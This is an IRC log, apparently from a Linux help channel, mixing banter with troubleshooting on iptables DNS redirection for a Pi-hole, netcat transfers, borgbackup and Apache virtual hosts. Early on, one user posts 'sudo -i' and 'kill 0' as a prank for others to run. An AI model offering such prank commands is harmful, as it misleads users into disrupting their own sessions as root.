--- Log opened Fri Apr 13 00:00:00 2018 --- Day changed Fri Apr 13 2018 00:00 < ozymandias> stevendale, yes 00:00 < tvm> yeah, several 00:00 < ozymandias> and games 00:00 < tvm> yep 00:00 < stevendale> Snake o/ 00:00 < savethegibbons> Does it have tuxracer? 00:00 < tvm> you can launch it as subprocess i guess 00:00 < tvm> ;-) 00:00 * stevendale installs minimal Arch and just runs emacs 00:00 < stevendale> o/ 00:01 < ozymandias> basically, people treat emacs like a joke, and love to port things to it 00:01 < ozymandias> there is a stupid amount of nonsensical apps for it because of that 00:01 < devslash> vi shits all over emac 00:02 < tvm> plan vi/nvi is pain for anything beyond config files 00:02 < ozymandias> there are good reasons vi is pre-installed by most distros ;-) 00:02 < mawk> my emacs is way prettier than all your editors 00:03 < ozymandias> mawk, probaly true, but those other editors are likely better at editing text ;-) 00:03 < tvm> i spend most of my days with Jetbrains IDEs and they're prettier 00:03 < Psi-Jack> Braaaaiiinzzzz 00:03 < ninjacoder> lol 00:03 < mawk> their CLion IDE only works with cmake 00:03 < ninjacoder> take a coffe and https://www.youtube.com/watch?v=h_7qgzR1EXQ 00:03 < mawk> anyway for python you maybe need an IDE, for C/C++ I disagree 00:03 < tvm> yeah, but i develop in Python 00:03 < Disconsented> Clion works with Cargo/Rustc 00:04 < mawk> use your brain and memory, not autocompletion 00:04 < tvm> i'm lazy bastard, i like to commit and push with one keypress, i also like to switch projects with one click 00:05 < stevendale> Is AltTab one keypress 00:05 < o|0o^|> count them out loud when you press the keys 00:05 < tvm> it's three actually 00:05 < ninjacoder> lol cascading users shutdown 00:06 < stevendale> sudo -i 00:06 < stevendale> kill 0 00:06 < Psi-Jack> Hmmm.. i like having my IDE for C++ development, personally. 00:07 < tvm> Psi-Jack: i did some C++ too, wouldn't do that without IDE 00:07 < ninjacoder> soundjava ? 00:07 < savethegibbons> Vim is nice for python 00:07 < tvm> vim is useless for large projects (vim user since 1998 or so) 00:07 < justin^^^> mawk: I've used C++ only with an IDE. isn't it OOP like java? what differentiates it from java to not need an IDE? 00:07 < Psi-Jack> Especially the integrations I can get from ArduinoIDE, Atom IDE+Platform IO, and Visual studio Code to work with my ESP-32's. ;) 00:07 < justin^^^> tvm: some IDE's allow vim keybinds 00:08 < mawk> for C++ we can discuss it yeah justin^^^ 00:08 < tvm> i know and i don't care about them, i just want stuff integrated 00:08 < mawk> but for C, I don't think 00:08 < savethegibbons> Vim will expand objects into their methods and attributes etc if you have the right plugins 00:08 < mawk> I 00:08 < tvm> virtual envs, git, automatic deployments, that kind of things that make your life easy 00:08 < o|0o^|> lol @ vim is useless for large projects 00:08 < mawk> I just use emacs and cppreference in devhelp 00:08 < Psi-Jack> tvm: Wait, you want stuff... Integrated? Into your Integrated Development Environment? How dare you expect so much! :) 00:08 < ninjacoder> Interesting* 00:09 < tvm> Psi-Jack: yeah, i'm like that :D 00:09 < Psi-Jack> tvm: You should change your nick to "tyvm" so people think you're thanking them all the time. LOL 00:09 < mawk> http://sasamat.xen.prgmr.com/michaelochurch/wp/2013/01/09/ide-culture-vs-unix-philosophy/ 00:09 < justin^^^> mawk: if you have an IDE you have all that stuff. maybe you're a vimscript guru but for me i only see vim's value as the fast text editing speed 00:09 < tvm> :D 00:10 < tvm> justin^^^: that's pretty much my opinion 00:10 < justin^^^> tvm: that was meant for you, i'm laughing out loud 00:10 < ninjacoder> both are Greatz 00:10 < tvm> hahah. 00:11 < ninjacoder> ;) 00:11 < mawk> if you learn the path to an information instead of the information itself you'd be lost in another environment 00:11 < mawk> that's what happening with the newer generations and Google 00:11 < tvm> well, one has to use vim daily, but when i work on projects, it's in IDE 00:12 < Psi-Jack> Anwyay, time to head on out. 00:12 < o|0o^|> c u l8r Psi-Jack 00:13 < tvm> is it 90's once again ? 00:14 < o|0o^|> no one told him? 00:15 * Psi-Jack hangs o|0o^| 00:23 < wadadli> does network manager store device it finds after discovery somewhere? 00:25 < RayTracer> wadadli: I believe it does.. /etc/NetworkManager/system-connections or something at /run maybe (don't have NM running here) 00:29 < SmashingX> Is it possible to get the root password of a machine that has linux running and it’s encrypted by mounting the partition after I start the machine with a Live CD? 00:30 < qman__> you are unlikely to be able to reverse the password, it depends on what encryption scheme the system uses 00:30 < qman__> you are, however, able to reset the root password 00:31 < qman__> not sure what you mean by "and it's encrypted by mounting the partition", though 00:31 < qman__> if you mean it has full disk encryption, you need the disk encryption password to mount the partition 00:31 < qman__> there is no way to bypass that 00:32 < saderror256> dar, my key is broke 00:32 < saderror256> well i dot thik that really helps it 00:37 < FreakingOut1987> any english people here? 00:37 < mawk> probablty 00:37 < mawk> -t 00:37 < mawk> http://[2a01:e34:ec11:3630:b9c1:57ec:f1c7:2c68]/ works for you ? 00:37 < meyou_> jolly good 00:37 < FreakingOut1987> do English people use the word "helluva"? 00:37 < wadadli> RayTracer: OH. I am seeing that it adds them to /org/freedesktop/NetworkManager/Devices/3 00:38 < Tadgy> FreakingOut1987: Yes, we do. Though we don't spell it that way :) 00:38 < FreakingOut1987> Tadgy, how would you spell it if you don't mind me asking? 00:38 < FreakingOut1987> and also what region? 00:38 < meyou_> i suspect he's from the bay area and he spells it hella 00:38 < Tadgy> FreakingOut1987: "Hell of a". eg, "I'm having a hell of a time!". 00:38 < meyou_> but that's a different word imo 00:39 < meyou_> ah 00:39 < FreakingOut1987> Er... I should say... British-English speaking 00:39 < FreakingOut1987> not English speaking people :D 00:39 < wadadli> I just dropped a NetworkManager connection on to a RPi3. I am seeing from the logs that it detected it. However the device doesn't connect to the network. I think I might be missing something. 00:39 < Tadgy> FreakingOut1987: I'm British - originally from the south coast region. 00:39 < TJ-> FreakingOut1987: is it short for Hell Of A ? 00:39 < mawk> how did you drop it wadadli ? you copied the config file ? 00:39 < FreakingOut1987> TJ-, it should be I think 00:39 < TJ-> FreakingOut1987: because it looks like a Spanish word to me :) 00:39 < saderror256> ghjghjsgdfisunnnnn 00:40 < saderror256> sorry keyboard test my one I just bought 2 days ago broke already o.o 00:40 < TJ-> FreakingOut1987: I say it more as a slur of 3 words, hell-ov-a 00:40 < wadadli> mawk: /etc/sysconfig/network-scripts/ifcfg-Pineapple 00:41 < wadadli> mawk: ifcfg-rh: new connection /etc/sysconfig/network-scripts/ifcfg-Pineapple (d3ed077a-d236-4cb7-af3a-e12d01cb211e,"Pineapple"). NetworkManager found it on the Pi. 00:44 < FreakingOut1987> Tadgy, please ignore the content, but what type of accept is she speaking if you don't mind? https://www.youtube.com/watch?v=ACbNSLTcdkA 00:46 < FreakingOut1987> context: i'm trying to figure out whether or not someone is actually sending my JW stuff or if it is a friend who I know does this type of shit is spamming my mailbox 00:46 < FreakingOut1987> me* 00:46 < mawk> so you enabled the ifcfg-rh plugin wadadli 00:46 < Tadgy> FreakingOut1987: It's not really a regional accent as far as I can tell... just generic English 00:46 < mawk> it's a plugin to read and write the file you mentionned 00:47 < mawk> but I'm not sure it's NetworkManager that controls activation 00:47 < mawk> see that with your redhat software 00:59 < Psilocyber> happy thursday, hope all your linuxes are running smoothly :) 01:00 < revel> It's friday. 01:00 < ninjacoder> yep friday 3 hours ago 01:00 < Psilocyber> NOT IN 'MURICA 01:00 < ninjacoder> greeting 01:01 < Psilocyber> :) 01:01 < revel> It is for a majority of the people in the world. 01:08 < nobrain> we don't even care what day of the week it is here where i live, we just hit each other with rocks and sticks 01:16 * stevendale plugs a 802.11a Wi-Fi card into one of Google's servers, bottlenecks the whole company 01:17 < nrg> >:O 01:17 * stevendale downgrades their ethernet hubs to 10 megabit ones 01:17 < TheLorax> I want to do some kernel debugging. I use gentoo normally, but don't want to maintain another gentoo install. What is a good distro that would let me easily recompile the existing kernel and ships with v4 or higher? 01:22 < RayTracer> nobrain++ although we're too lazy over here and just use words 01:23 < Psilocyber> new dual socket supermicro servers dont even support 10/100 on their ethernet ports, 1G or 10G or nothing 01:24 < RayTracer> TheLorax: I'd use fedora 01:25 < stevendale> The fucking when an old game says 'press any key to continue' 01:25 < stevendale> * Presses power button 01:25 < RayTracer> TheLorax: https://fedoraproject.org/wiki/Building_a_custom_kernel 01:25 < mawk> any distro I know could do that TheLorax 01:25 < ninjacoder> redhat rocks 01:25 < mawk> debian for instance 01:25 < mawk> the initramfs scripts work flawlessly with any kernel, even the one you compile 01:25 < mawk> it won't interfere much with the kernel from the repos, they will just live side by side 01:26 < stevendale> PowerPCMAC What Mac is that? ^_^ 01:26 < PowerPCMAC> Lol u mean homepod? 01:26 < stevendale> I used to have a 2001 iMac G3 600 Mhz, 2004 eMac G4 1.25 GHz... I tossed them, sadly 01:27 < stevendale> In the past I've had an iBook G4 and PowerBook G4 01:27 < PowerPCMAC> powerpc mac pros were insanely great 01:27 < stevendale> o/ 01:27 < PowerPCMAC> unfortunatly apple left them in the dust when intel came 01:27 < stevendale> Yep 01:27 < stevendale> Now I've switched to Windows/linux based computers 01:28 < PowerPCMAC> G5 mac pro did 16 gb of ram 01:29 < stevendale> o/ 01:29 < stevendale> I had 18 GB in my Mac Pro 2006 01:29 < stevendale> And a GeForce GT 320 1 GB 01:29 < stevendale> Ran OS X mavericks 01:29 < PowerPCMAC> nice 01:42 < RayTracer> random quote of the night: "Clearly a nose-hair grooming kit would be the ideal addition to any man's personal grooming lineup, which typically consists of spitting into the sink and thinking he should get the mirror fixed someday." 01:46 < setham> hello a question about iptables, thanks in advance for any help. I configured an ip-hole in my LAN and now it is serving DNS for my lan clients. I want to skip using ip-hole for some clientes, so I though I could redirect request to port 53 to another DNS server (1.1.1.1, 8.8.8.8 or even the local DNS server provided by the wifi router).. all the examples I had found do prerouting on the nat 01:46 < setham> table, but this ip-hole it is not doing any routing.. what I am missing in my config ? thanks 01:59 < mawk> what is your ip hole thing setham ? 01:59 < mawk> you need to do the NAT on the same machine where your ip-hole thing is 01:59 < mawk> you can't do it on the router because packets on the LAN don't get routed 02:00 < setham> https://pi-hole.net/ip/ running on a raspberry pi 02:00 < mawk> ok, so you need to do the NAT rule on the raspberry pi 02:00 < mawk> or tweak your DHCP client to send a different DNS server for these clients 02:01 < setham> I have this "tweak your DHCP client to send a different DNS server for these clients" working 02:01 < granttrec> hey guys what is better, voice recognition per program, or universally as input via a `voice keyboard` like apple dictation? 02:01 < setham> I wanted some sort of dynamic approach so I can "enable/disable" on-demand for those clients 02:02 < setham> so if I add a nat rule in the raspberry pi, when the request goes to its port 53, the raspberry should be able to redirect the request? 02:03 < mawk> yes setham 02:03 < ananke> granttrec: you provide no context nor criteria for what constitutes as 'better' 02:03 < setham> Because I tried this #> iptables -t nat -I PREROUTING -p udp -s 192.168.1.20 --dport 53 -j DNAT --to 1.1.1.1 02:04 < setham> and does not seems to be working.. neither if I do tcp 02:04 < setham> the ip-hole is 192.168.1.6 , router is 192.168.1.1 02:04 < setham> For my test I wanted this client to go to 1.1.1.1 02:04 < setham> but nothing.. and it is the only rule in the raspberry iptable 02:06 < mawk> and you did this in the rpi 02:06 < setham> yes 02:06 < mawk> which is 192.168.1.6 02:06 < setham> yes 02:06 < mawk> which is also the default dns server sent by dhcp 02:06 < setham> yes 02:06 < mawk> the counters are increasing when you do iptables -t nat -L -v ? 02:06 < setham> option 6 on my dhcp 02:07 < mawk> the rpi is the only dns server sent by dhcp ? 02:07 < setham> if I do not touch it works dhcp works fine.. router 192.168.1.1 dns 192.168.1.6 02:07 < setham> yes 02:07 < mawk> let me try with my own rpi 02:07 < setham> txs 02:07 < mawk> but afaik this is the correct rule 02:08 < setham> Yes , I thought so.. 02:10 < setham> As soon as I do the redirect the DNS stops working 02:10 < mawk> oh ok 02:10 < mawk> so it has an effect 02:11 < setham> Sorry 02:11 < setham> let me rephrase 02:11 < setham> Stop working for the client 02:12 < setham> DNS continue working for all other clients in the lan 02:12 < mawk> yeah I know 02:12 < mawk> that's what I understood 02:12 < setham> k 02:13 < mawk> the problem may be that the DNS response travels back directly from 1.1.1.1 to the client 02:13 < mawk> so it's a different source ip that the raspberry pi ip 02:13 < mawk> so it rejects it 02:13 < mawk> you should add another rule in POSTROUTING to rewrite the source address 02:13 < mawk> let me try that 02:14 < mawk> between us I trust 9.9.9.9 more than cloudflare 02:15 < setham> yes.. I wrote 1.1.1.1 just for test 02:17 < setham> router points to 9.9.9.9 ... I liked the "watson" feature 02:18 < setham> Something strange is that I did a tcpdump in the router with host 1.1.1.1 and I do not see any traffic going there 02:18 < setham> so it seems that the redirect it is not even leaving the rpi 02:21 < DrunkRhino> Anyone happen to know how to go about setting up LightDM as the greeter for a thin client? I can use Xephyr to connect to the (also LightDM) server, but I haven't been able to get LightDM to connect to it as a client. 02:23 < mawk> did you enable ip forwarding setham ? 02:23 < mawk> try sysctl -w net.ipv4.conf.all.forwarding=1 02:23 < mawk> on the pi 02:23 < mawk> you'll have a different behavior 02:23 < mawk> but still not good, now there is what I was talking about: wrong source address 02:24 < setham> let me check 02:25 < setham> was not enabled 02:26 < mawk> good 02:26 < mawk> now you need to add another rule to rewrite source address as well 02:27 < mawk> iptables -t nat -A POSTROUTING -p udp --dport 53 -m conntrack --ctdir ORIGINAL --ctstate DNAT -j SNAT --to-source 192.168.1.6 02:27 < mawk> something like that should work 02:27 < setham> let me try it... 02:28 < setham> it worked! thanks a lot 02:29 < mawk> perfect 02:30 < mawk> so, you needed two extra steps: enabling ip forwarding and rewriting source address 02:31 < setham> right.. I am going to redo everything and be 100% sure that works ... many thanks 02:36 < mawk> dunno why it's not done automatically 02:36 < mawk> for UDP 02:36 < mawk> as it is the case with TCP 02:36 < mawk> many applications will fail if the reply address is wrong* 02:36 < setham> @nawk does this make sense? I deleted the rules, disable ip forwarding... 02:37 < mawk> yes 02:37 < setham> and the browser continue pulling the ads blocked by ip-hole 02:37 < setham> I rebooted the rpi and the ads stop showing 02:37 < mawk> maybe something's cached 02:38 < mawk> alright 02:38 < setham> shift-reload and stuff.. maybe cached in the pi-hole.. I do not know.. I need to test more 02:38 < setham> but the changes and redirecting to an external dns worked fine.. again thanks 02:47 < jml2> cached in the "pi-hole" mwha haha 02:47 < mawk> lol 02:59 < setham> lol 03:03 < alexey-nemovff> hi folks 03:04 < Pentode> hi 03:08 < Psi-Jack> setham: @nick is a convention of Twitter, Slack, Discord, etc, but the standard convention of IRC is nick: 03:09 < setham> right.. 03:09 < setham> txs 03:09 < konimex> or nick, 03:09 < Psi-Jack> "thanks" not "txs" for future self corrections. And yes, it really does matter. 03:09 < setham> ok thanks :-) 03:09 < Psi-Jack> Welcome. :) 03:10 < Psi-Jack> setham: One thing about nick: is, you can start typing a nick, set, and it'll fill in the rest for you, including the : or , afterwards. 03:10 < Aph3x-WL> @Psi-Jack txs 4 halping irc newbs 03:10 < Psi-Jack> @nick doesn't do that in any current IRC client. 03:11 < Psi-Jack> Aph3x-WL: Seriously... Stop. 03:11 < infinisil> Hey there, I have a question regarding the ncat utility 03:11 < Psi-Jack> infinisil: You mean netcat? 03:11 < setham> question, thanks instead of txs is an etiquette consideration in this channel or for all channels? 03:12 < infinisil> Psi-Jack: There's 3 different versions, nc, ncat and netcat 03:12 < nobrain> Aph3x-WL: Psi-Jack is like 70 years old and totally lacks of sense of humour, so don't try jokes with him 03:12 < Psi-Jack> setham: It's policy of this channel, but many others as well. It's netiquette to use reasonable English in English channels in all though. 03:12 < infinisil> ncat is from nmap 03:12 < setham> got it 03:12 < mawk> two, infinisil 03:12 < infinisil> The first and third are the same? 03:12 < mawk> netcat is an alias to nc 03:12 < infinisil> Ah alright then 03:12 < Aph3x-WL> nobrain: i know, i've been here for many years but it's still fun :P 03:14 < DrunkRhino> Still no one who can chime in on how to get LightDM's seat configs set up for use as a thin client to a Pi with LDM and XDMCP server enabled? I can use Xephyr to connect to the pi just fine, but I can't seem to get the netbook configured properly. 03:14 < Psi-Jack> DrunkRhino: Tried this: https://wiki.archlinux.org/index.php/XDMCP 03:15 < infinisil> So my question: `ncat -l 1500 -c 'cat img.jpg'` and `ncat 1500 | feh -` on the receiving side occasionally leads to a corrupted image 03:15 < dannylee> 8-) 03:15 < infinisil> And it doesn't happen with `cat img.jpg | ncat -l 1500` 03:15 < infinisil> Which sounds really really weird to me 03:16 < mawk> both should use the same mechanism, a pipe 03:16 < mawk> one is "handled" by bash, the other by ncat 03:16 < mawk> but really there should be almost no difference 03:16 < mawk> you don't handle a pipe further than creating it 03:17 < infinisil> Oh, the -c uses /bin/sh 03:18 < mawk> yes 03:18 < DrunkRhino> Psi-Jack, that's how I've got it set up (minus the start-default-seat), the Pi will let me connect, but what I'm looking to do is use my Netbook as a thin client to it, but I'm not seeing any option to connect to the pi from the LightDM login screen, even after editing lightdm.conf's [seat] section. 03:18 < mawk> but /bin/sh doesn't touch that pipe 03:18 < infinisil> I'm gonna test it some more, but I've never ever seen the `cat img.jpg |` way get corrupted 03:18 < mawk> try prepending exec ifohancroft 03:18 < mawk> infinisil: * 03:18 < mawk> to bypass some of /bin/sh behavior 03:18 < Psi-Jack> DrunkRhino: Why is it you want a "thin client" anyway? 03:19 < mawk> ncat -l 1500 -c 'exec cat img.jpg' 03:19 < nercoma> is it possible to have programs compiled in glibc run in systems with musl? 03:19 < mawk> but you should really be giving a file of a pipe with cat behind infinisil 03:19 < mawk> ncat -l 1500 < img.jpg 03:19 < DrunkRhino> Psi-Jack, I'm trying to offload the WM & DE to the pi, and then use Xephyr to link the netbook's thin client session to itself for the bits that require DRM since it's going out the VGA cable to my TV. 03:20 < o|0o^|> nercoma: sure, but there might be missing functions 03:20 < infinisil> mawk: Well I'm actually using the script as a client handler, so it reads stuff from stdin 03:20 < jml2> DrunkRhino, LOL 03:20 < nercoma> @o|0o^| for example? 03:20 < Psi-Jack> DrunkRhino: Erm... OKay.... 03:20 < o|0o^|> something musl doesn't implement that glibc does 03:21 < nercoma> wait, is musl-binaries even binary-compatible with the glibc-ones? 03:21 < infinisil> mawk: Yeah it still happens 03:21 < DrunkRhino> jml2, Psi-Jack, partly for giggles, partly to see if it can be done, partly to kill time, and also to brush up on my Linux skills since I'm pretty rusty 03:22 < infinisil> Almost every second pic with the -c gets corrupted 03:22 < infinisil> none when piping from bash (well actually zsh) 03:25 < infinisil> Oh and adding some weirdness to that: It only happens when the receiver is a different machine 03:25 < infinisil> Can't reproduce when sending and receiving on localhesh 03:25 < infinisil> localhost 03:27 < mawk> you've got a saved copy of the corrupted image infinisil ? 03:27 < mawk> try to look at beggining or end 03:28 < mawk> if you see strange artifacts 03:28 < mawk> like error messages from /bin/sh 03:28 < mawk> nercoma: the binary is asking for libc.so.6 03:28 < mawk> so it should be compatible 03:29 < mawk> but the binary is also asking for symbol versions with glibc in the name 03:29 < mawk> I've never tried to do that so dunno what would happen 03:29 < infinisil> I'll take a look 03:33 < nercoma> ok @mawk thanks 03:34 < infinisil> mawk: Nope, nothing suspicious 03:34 < infinisil> The pictures often are still recognizable in the corrupted areas though, as if a couple bytes were missing inbetween 03:35 < jml2> infinisil, you are a hacker 03:35 < jml2> infinisil, look in the background of the pictures 03:35 < puff> Good evening. I have an hp laserjet 8150 that I'm trying to set up. The config page prints out very murky, I'm told that printing a couple dozen pages should clear that up. But meanwhile I can't read the IP address off it. I've plugged a network cable into it, but setting it up via hp-setup doesn't find it. Any idea how to determine it's IP address without the config page? 03:36 < jml2> puff, maybe look at your router's dhcp lease list 03:36 < jml2> puff, or use nmap to scan/ping the entire subnet 03:37 < sigmet> have you tried giving it a sportscar? 03:39 < puff> jml2: Thanks. 03:40 < jml2> sigmet, wrong channel jackass 04:01 < rasknikoff> ha 04:01 < o|0o^|> hehhh 04:18 < dannylee> kiwi 04:24 * LissajousPattern wonders how long will I be able to survive with my mobile hotspot being my primary source of internet...? 04:25 < o|0o^|> does it have ethernet jack? 04:26 < LissajousPattern> no its my phone... however there is always OTG 04:27 < LissajousPattern> pretty cool I was able to activate my hotspot for free 04:27 < o|0o^|> coffe cans and string? 04:27 < LissajousPattern> o|0o^|, already have a bi quad 04:27 < LissajousPattern> homebrew 04:27 < topicali> in general, do ftp clients send user-agent info (e.g. the ftp client they're using) to ftp servers when connecting, like a web browser does with an httpd? 04:28 < LissajousPattern> o|0o^|, probably gonna get one of them alfa cards 04:29 < LissajousPattern> I was messing with a cheaper wifi dongle with an SMA connection for a bit but I let the smoke out of it 04:29 < topicali> i want to see what ftp client my client is using to connect to my (pure-ftpd) server 04:31 < Dominian> Psi-Jack: read up on borgbackup.. this may be ok just to backup locally 04:31 < Dominian> and then add rclone later if needed 04:39 < DrunkRhino> I certainly hope I manage to squeeze a little bit of performance out of this at this point because this setup is making my brain hurt heh. (Finally got LDM to work at both ends) 04:41 < ShadeS> this is odd, i'm on an ubuntu machine but this apache2.conf file says: # Summary of how the Apache 2 configuration works in Debian: 04:41 < ShadeS> uname -a definitely says it's an ubuntu machine 04:42 < R1olu> ShadeS: Probably just the same package for both distros 04:42 < Psi-Jack> Dominian: Exactly. 04:42 < ShadeS> ok 04:56 < luxio> Why is "ncdu" showing different usage than "df -h"? 04:56 < ShadeS> 501:staff what's this ? 04:57 < ShadeS> i did a sudo on a tar -zxvf 04:59 < ShadeS> some sort of user group i'm not familiar with or ever seen before 04:59 < ShadeS> whyd din't it belong it to root:root after extractions? 05:00 < luxio> nevermind I figured it out 05:03 < ShadeS> Can't locate configuration file /usr/local/etc/no-ip2.conf; should I be running this as sudo or what? cause that file is in that directory 05:08 < Psi-Jack> Dominian: Ahh, now I remember what I did. :) 05:09 < Psi-Jack> Dominian: I have borgbackup (with borgmatic), backing up to a local 4TB HDD directory that partially houses my /home/*/{specific,directories}, and then Syncthing on my Synology NAS and desktop to get things over to the NAS, so I have 2 local copies. 05:09 < Psi-Jack> Then rclone to B2. :) 05:11 < ShadeS> i've always had hdds fail if encrypted 05:11 < ShadeS> i can only imagine the epic fail a NAS raid encrypted solution would bring 05:12 < R1olu> Any raid for that matter lol 05:12 < Psi-Jack> Man, you really have bad luck don't you? heh 05:13 < Psi-Jack> My laptops are always using LUKS FDE, and never have an issue with that. 05:14 < ShadeS> EVERY disk I EVER FDE, *failed* and the password didn't work for unencrypting it 05:14 < Dominian> Psi-Jack: nice 05:14 < ShadeS> encrypting a disk, is a sure fire way to loose eveyrthing on it 05:14 < Dominian> Psi-Jack: so.. here's a question 05:14 < ShadeS> in my experience 05:14 < Dominian> Psi-Jack: i did a test backup of one directory.. worked fine, but if I run the backup script again, just tells me the archive already exists. 05:14 < Dominian> like.. it won't do muliple runs? 05:14 < ShadeS> like, it just takes one sector to go bad for the shoot to fluuf 05:15 < Psi-Jack> Dominian: You create a new archive with a different name. Good example is to use {hostname}-{now} for example. 05:15 < ShadeS> Psi-Jack: yeah I was just hit and ran by a car two days ago, my kidney still hurts 05:15 < Psi-Jack> So that it sets the hostname, and the current date, including hour, min, second. 05:17 < Dominian> Psi-Jack: I see.. can I just 'prune' the test one? 05:17 < Psi-Jack> You can. 05:19 < Dominian> ahh there's also borg delete 05:20 < Dominian> boom. ther ewe go 05:22 < ShadeS> there seem to be a lot of 'incorrect' apache2 turtoials for virtual hosts 05:22 < littlepython> how can i generate a PGP key 05:22 < ShadeS> I can have it setup so that the server has two domains to it 05:22 < Psi-Jack> hehehe 05:22 < R1olu> littlepython: Use GPG and gpg --gen-key 05:23 < ShadeS> right now it's running a thing on the main IP on port 80, if I setup a virtual host such as http://myvirtualhost.hopto.org I should be able to set that up to port :79 on the virtual host such that the user does *not* need to type in http://myvirutalhost.hopto.org:79 to hit it, right? 05:23 < Psi-Jack> Dominian: Yeah, prune is more for deleting older archives. Those that are named similarly as like provided by {hostname}-{now} deleting a prefix of {hostname}- 05:23 < littlepython> R1olu: what is the use of the PGP key 05:23 < Psi-Jack> Dominian: Make sense? ;) 05:23 < R1olu> littlepython: Public key encryption 05:24 < Dominian> Psi-Jack: sort of I'll figure it out 05:24 < Dominian> Psi-Jack: I accicentally deleted the entire repo 05:25 < Dominian> lol 05:25 < Dominian> easy enough to recreate 05:25 < littlepython> R1olu: we use these to what? i mean during ssh or something? 05:25 < Psi-Jack> Yep. :) 05:25 < Psi-Jack> Dominian: Excluding things like package caches, /home/*/.cache, etc... is also quite useful. :) 05:25 < R1olu> littlepython: You use it for encrypting communications and files, SSH uses ssh keys, which is still public key cryptography 05:25 < Dominian> Psi-Jack: aye 05:26 < Dominian> Psi-Jack: so you use borgmatic to make it easier or? 05:26 < Psi-Jack> Dominian: Yep. Pretty much. borgmatic generates borg commands essentially and handles all the fancy parts that could be done manually. 05:26 < littlepython> R1olu: how different is this from ssh-keygen 05:27 < ShadeS> Psi-Jack: when you get a chance maybe you can let me know? 05:27 < Psi-Jack> Eh? 05:27 < ShadeS> this virtual host thing on apache 05:27 < R1olu> littlepython: It's the same concept, but ssh keys are used for authentication and pgp usually for encrypting communication 05:28 < ShadeS> this box has two separte projects on it, so far project 1 is accessibe by a stati ip, project two should be accessible by a domain name without needing for a user to type in :79 at the end of the url 05:28 < Dominian> Psi-Jack: hmm ok.. I'll keep messin' with borg and may look at borgmatic later 05:28 < littlepython> so someone asked me to send these keys to encrypt their credentials to their test server, thats why 05:28 < Psi-Jack> Good to understand borg itself before getting to borgmatic. :) 05:28 < Dominian> Psi-Jack: I guess what I"m looking at is running the backup more than once a day 05:28 < Psi-Jack> Dominian: One thing, for example, is how to mount a borg archive and pull files from it. Very sweet stuff. 05:28 < Dominian> Psi-Jack: yeah 05:29 < Psi-Jack> Dominian: Yep. it can do that. :) 05:29 < ShadeS> borg? man I"m getting behind all this stuff I've never heard of 05:29 < R1olu> littlepython: You can encrypt the credentials to their pgp key if that's what you mean 05:30 < Psi-Jack> ShadeS: borgbackup, yes. 05:30 < Dominian> Psi-Jack: really.. hmm... seems that 'rerunning' the same backup script.. using th eexample provided. seems to get pissed about the archive existing 05:30 < ShadeS> does etc/apache2/sites-available/VirtualHost1.conf; 'VirtualHost1' need to match my domain name of myvirtualhost.hopto.org ? 05:30 < Dominian> guess I'll keep reading 05:31 < Dominian> ahhh I see why 05:31 < R1olu> ShadeS: I think Googling your questions is going to be more effective than asking here, there are tons of guides out there 05:31 < ShadeS> R1olu: yeah the problem lots of them are showing real bad security pracitices as Psi-Jack highlighted to me the toher day 05:31 < ShadeS> "yeah sure bruh, just 0777 all the thigns" => NO 05:31 < Psi-Jack> Man, 178 days uptime, my UniFi AC Lite's had before the current firmware update I'm doing. :) 05:32 < Psi-Jack> Best WiFi ever. 05:32 < ShadeS> lucky you, I need to move my alfa card's antenna like it's rabbit ears to hit xfinity 05:32 < Dominian> seems the initial 'create' is just for the initial backup itself 05:32 < ShadeS> and then not breath on it or have a butterfly land on it 05:32 < Dominian> if you need to run it multiple times.. hmm 05:33 < R1olu> ShadeS: If you just need static content, you could try hosting on something like gh pages, firebase? 05:33 < ShadeS> it's not static content, it's an e-store 05:34 < ShadeS> i mean in ideal conditions I wouldn't have to deal with any of this virtual host bs, i'm just constricted to working on some stuff tthat also has stuff that's going to be for a hospital and bla bla bla 05:34 < ShadeS> so i will eventually need to copy off stuff of fof this thing onto a new deicated machien for that 05:34 < ShadeS> real pita tbqh 05:34 < ShadeS> never relaly dealt with virtual hosts and multiple things on one box so i'm a bit confused as how to proceed securely and safely 05:41 < Stanley00> anyone here got spam from sweatsuit5AD5X3? I want to report sweatsuit5AD5X3 for that 05:42 < ShadeS> hmm so far the noip domain thing I have temporaily setup myprojectname.hopto.org hits the other index.html, I think I might have forgot to restart the apache service 05:42 < R1olu> Stanley00: Look at the topic of this channel 05:43 < Stanley00> R1olu: thank you 05:43 < R1olu> Stanley00: np 05:43 < Dominian> Psi-Jack: so guessing if you want to run multiple backups in the same day you need to setup the command to a 'create' but different naming? 05:43 < Stanley00> !ops sweatsuit5AD5X3 auto-join spamming 05:44 < Psi-Jack> Dominian: Yep. Like '::{hostname}-{now}' 05:44 < Dominian> Gotcah 05:44 < Dominian> so then.. it will compare archives so it doesn't backup the 'same' stuff again? 05:44 < Psi-Jack> Automagically. With /all/ the archives, even if from multiple systems, it'll deduplicate accross them all. 05:45 < Dominian> {hostname}-{now:%Y-%m-%d} <--- that's what I am using. 05:45 < Psi-Jack> If you want multiple backups in a day, you'd want more than just the date. 05:45 < Dominian> but yeah it's not 'creating' new backups.. soit seems to only look at the 'date' 05:45 < Dominian> aye 05:45 < Dominian> hmm 05:45 < aBound> Selling automagic kits oh snaps. :P 05:45 < ShadeS> alright, now I guess this is a step forward, instead of pointing at the other project it's telling me forbidden you don't have permission to access / on this server 05:46 < ShadeS> why isn't it loading the index.html in the /var/www/html/projectname/index.html ? 05:46 < Dominian> Psi-Jack: guess I need to figure out how that tagging works 05:46 < Dominian> Stanley00: onjoin spam when you join or when they joined? 05:46 < Dominian> Sinc ethe user isn't registered to nickserv, I won't see the PM spam since I use umode +R 05:46 < syb0rg> Dominian,I got spammed when I joined 05:46 < ilbelkyr> Dominian: handled :) 05:46 < Stanley00> Dominian: when I join 05:46 < Dominian> syb0rg: however, user was just klined 05:46 < syb0rg> alrighty 05:46 < R1olu> ShadeS: You set permissions on the directory to where apache can't read it 05:47 < Dominian> ilbelkyr: :) 05:47 < Dominian> ilbelkyr: figured ya'll were on it 05:47 < Dominian> y'all* 05:47 < ShadeS> well the permissions/ownership is root like it is for the other project 05:47 < ShadeS> -rw-r--r-- for the index.php 05:48 < R1olu> ShadeS: It needs to be set to www for either user or group 05:48 < ShadeS> drwxr-xr-x on the parent diretory of projectname 05:48 < ShadeS> well it's root:root for the index.html in /var/www/html/ which is for the other project 05:49 < ShadeS> that's the same as the one I'm on, and Psi-Jack even told me I do *not* want apache to own this because then it becomes insecure if I do so 05:49 < Psi-Jack> I never said not to use Apache. 05:50 < R1olu> ShadeS: It doesn't. If you don't want apache modifying the file, then just remove write permission 05:50 < Psi-Jack> Just the apache USER to own ALL the webapplication program files. 05:50 < ShadeS> 